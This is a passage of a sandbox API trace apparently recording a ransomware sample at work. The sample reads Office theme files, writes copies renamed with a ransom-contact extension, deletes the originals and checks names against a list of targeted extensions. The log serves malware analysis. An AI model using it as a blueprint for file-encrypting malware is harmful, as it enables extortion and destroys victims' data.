GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0125.128] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0125.128] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0125.128] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0125.128] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0125.130] GetLastError () returned 0x0 [0125.130] ReadFile (in: hFile=0x218, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x1400, lpOverlapped=0x0) returned 1 [0125.131] WriteFile (in: hFile=0x214, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x1410, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x1410, lpOverlapped=0x0) returned 1 [0125.132] ReadFile (in: hFile=0x218, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0125.132] WriteFile (in: hFile=0x214, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xea, lpOverlapped=0x0) returned 1 [0125.133] SetEndOfFile (hFile=0x214) returned 1 [0125.133] CloseHandle (hObject=0x214) returned 1 [0125.133] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0125.133] SetEndOfFile (hFile=0x218) returned 1 [0125.134] CloseHandle (hObject=0x218) returned 1 [0125.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0125.134] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif")) returned 1 [0125.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0125.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0125.135] lstrlenW (lpString=".doc") returned 4 [0125.135] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0125.135] lstrlenW (lpString=".docx") returned 5 [0125.135] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0125.135] lstrlenW (lpString=".pdf") returned 4 [0125.135] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0125.135] lstrlenW (lpString=".xls") returned 4 [0125.135] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0125.135] lstrlenW (lpString=".xlsx") returned 5 [0125.135] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0125.135] lstrlenW (lpString=".ppt") returned 4 [0125.135] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0125.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0125.135] lstrlenW (lpString=".zip") returned 4 [0125.135] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0125.135] lstrlenW (lpString=".rar") returned 4 [0125.135] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0125.135] lstrlenW (lpString=".bz2") returned 4 [0125.135] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0125.135] lstrlenW (lpString=".7z") returned 3 [0125.135] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0125.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0125.135] lstrlenW (lpString=".dbf") returned 4 [0125.135] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0125.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0125.135] lstrlenW (lpString=".1cd") returned 4 [0125.135] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0125.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0125.135] lstrlenW (lpString=".jpg") returned 4 [0125.135] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0125.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0125.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0125.136] lstrlenW (lpString=".doc") returned 4 [0125.136] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0125.136] lstrlenW (lpString=".docx") returned 5 [0125.136] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0125.136] lstrlenW (lpString=".pdf") returned 4 [0125.136] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0125.136] lstrlenW (lpString=".xls") returned 4 [0125.136] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0125.136] lstrlenW (lpString=".xlsx") returned 5 [0125.136] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0125.136] lstrlenW (lpString=".ppt") returned 4 [0125.136] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0125.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0125.136] lstrlenW (lpString=".zip") returned 4 [0125.136] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0125.136] lstrlenW (lpString=".rar") returned 4 [0125.136] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0125.136] lstrlenW (lpString=".bz2") returned 4 [0125.136] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0125.136] lstrlenW (lpString=".7z") returned 3 [0125.136] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0125.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0125.136] lstrlenW (lpString=".dbf") returned 4 [0125.136] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0125.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0125.136] lstrlenW (lpString=".1cd") returned 4 [0125.136] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0125.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0125.136] lstrlenW (lpString=".jpg") returned 4 [0125.136] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0125.137] lstrcmpiW (lpString1=".PNG", lpString2=".gdb") returned 1 [0125.137] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0125.137] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0125.138] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=60724) returned 1 [0125.138] CloseHandle (hObject=0x218) returned 1 [0125.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 0x20 [0125.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0125.138] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0125.138] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0125.138] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0125.138] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0125.138] GetLastError () returned 0x0 [0125.139] ReadFile (in: hFile=0x218, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0xed34, lpOverlapped=0x0) returned 1 [0125.142] WriteFile (in: hFile=0x214, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xed40, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xed40, lpOverlapped=0x0) returned 1 [0125.144] ReadFile (in: hFile=0x218, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0125.144] WriteFile (in: hFile=0x214, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xec, lpOverlapped=0x0) returned 1 [0125.144] SetEndOfFile (hFile=0x214) returned 1 [0125.144] CloseHandle (hObject=0x214) returned 1 [0125.144] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0125.144] SetEndOfFile (hFile=0x218) returned 1 [0125.146] CloseHandle (hObject=0x218) returned 1 [0125.146] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0125.146] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 1 [0125.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0125.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0125.146] lstrlenW (lpString=".doc") returned 4 [0125.146] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0125.146] lstrlenW (lpString=".docx") returned 5 [0125.146] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0125.146] lstrlenW (lpString=".pdf") returned 4 [0125.146] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0125.146] lstrlenW (lpString=".xls") returned 4 [0125.146] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0125.146] lstrlenW (lpString=".xlsx") returned 5 [0125.146] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0125.147] lstrlenW (lpString=".ppt") returned 4 [0125.147] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0125.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0125.147] lstrlenW (lpString=".zip") returned 4 [0125.147] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0125.147] lstrlenW (lpString=".rar") returned 4 [0125.147] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0125.147] lstrlenW (lpString=".bz2") returned 4 [0125.147] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0125.147] lstrlenW (lpString=".7z") returned 3 [0125.147] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0125.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0125.147] lstrlenW (lpString=".dbf") returned 4 [0125.147] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0125.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0125.147] lstrlenW (lpString=".1cd") returned 4 [0125.147] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0125.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0125.147] lstrlenW (lpString=".jpg") returned 4 [0125.147] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0125.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0125.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0125.147] lstrlenW (lpString=".doc") returned 4 [0125.147] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0125.147] lstrlenW (lpString=".docx") returned 5 [0125.147] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0125.147] lstrlenW (lpString=".pdf") returned 4 [0125.147] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0125.147] lstrlenW (lpString=".xls") returned 4 [0125.147] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0125.147] lstrlenW (lpString=".xlsx") returned 5 [0125.147] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0125.147] lstrlenW (lpString=".ppt") returned 4 [0125.147] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0125.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0125.147] lstrlenW (lpString=".zip") returned 4 [0125.148] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0125.148] lstrlenW (lpString=".rar") returned 4 [0125.148] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0125.148] lstrlenW (lpString=".bz2") returned 4 [0125.148] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0125.148] lstrlenW (lpString=".7z") returned 3 [0125.148] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0125.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0125.148] lstrlenW (lpString=".dbf") returned 4 [0125.148] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0125.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0125.148] lstrlenW (lpString=".1cd") returned 4 [0125.148] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0125.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0125.148] lstrlenW (lpString=".jpg") returned 4 [0125.148] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0125.148] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0125.148] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0125.148] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0125.477] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=2552) returned 1 [0125.477] CloseHandle (hObject=0x208) returned 1 [0125.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 0x20 [0125.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0125.477] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0125.477] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0125.477] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0125.477] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0125.478] GetLastError () returned 0x0 [0125.478] ReadFile (in: hFile=0x208, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x9f8, lpOverlapped=0x0) returned 1 [0125.484] WriteFile (in: hFile=0x214, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xa00, lpOverlapped=0x0) returned 1 [0125.485] ReadFile (in: hFile=0x208, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0125.485] WriteFile (in: hFile=0x214, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xea, lpOverlapped=0x0) returned 1 [0125.485] SetEndOfFile (hFile=0x214) returned 1 [0125.485] CloseHandle (hObject=0x214) returned 1 [0125.485] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0125.485] SetEndOfFile (hFile=0x208) returned 1 [0125.486] CloseHandle (hObject=0x208) returned 1 [0125.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0125.486] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 1 [0125.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0125.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0125.487] lstrlenW (lpString=".doc") returned 4 [0125.487] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0125.487] lstrlenW (lpString=".docx") returned 5 [0125.487] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0125.487] lstrlenW (lpString=".pdf") returned 4 [0125.487] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0125.487] lstrlenW (lpString=".xls") returned 4 [0125.487] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0125.487] lstrlenW (lpString=".xlsx") returned 5 [0125.487] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0125.487] lstrlenW (lpString=".ppt") returned 4 [0125.487] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0125.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0125.487] lstrlenW (lpString=".zip") returned 4 [0125.487] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0125.487] lstrlenW (lpString=".rar") returned 4 [0125.487] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0125.487] lstrlenW (lpString=".bz2") returned 4 [0125.487] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0125.487] lstrlenW (lpString=".7z") returned 3 [0125.487] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0125.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0125.487] lstrlenW (lpString=".dbf") returned 4 [0125.487] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0125.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0125.487] lstrlenW (lpString=".1cd") returned 4 [0125.487] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0125.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0125.487] lstrlenW (lpString=".jpg") returned 4 [0125.487] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0125.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0125.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0125.488] lstrlenW (lpString=".doc") returned 4 [0125.488] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0125.488] lstrlenW (lpString=".docx") returned 5 [0125.488] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0125.488] lstrlenW (lpString=".pdf") returned 4 [0125.488] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0125.488] lstrlenW (lpString=".xls") returned 4 [0125.488] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0125.488] lstrlenW (lpString=".xlsx") returned 5 [0125.488] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0125.488] lstrlenW (lpString=".ppt") returned 4 [0125.488] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0125.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0125.488] lstrlenW (lpString=".zip") returned 4 [0125.488] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0125.488] lstrlenW (lpString=".rar") returned 4 [0125.488] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0125.488] lstrlenW (lpString=".bz2") returned 4 [0125.488] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0125.488] lstrlenW (lpString=".7z") returned 3 [0125.488] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0125.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0125.488] lstrlenW (lpString=".dbf") returned 4 [0125.488] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0125.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0125.488] lstrlenW (lpString=".1cd") returned 4 [0125.488] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0125.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0125.488] lstrlenW (lpString=".jpg") returned 4 [0125.488] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0125.489] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0125.489] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0125.489] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0125.489] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=1659) returned 1 [0125.489] CloseHandle (hObject=0x208) returned 1 [0125.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 0x20 [0125.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 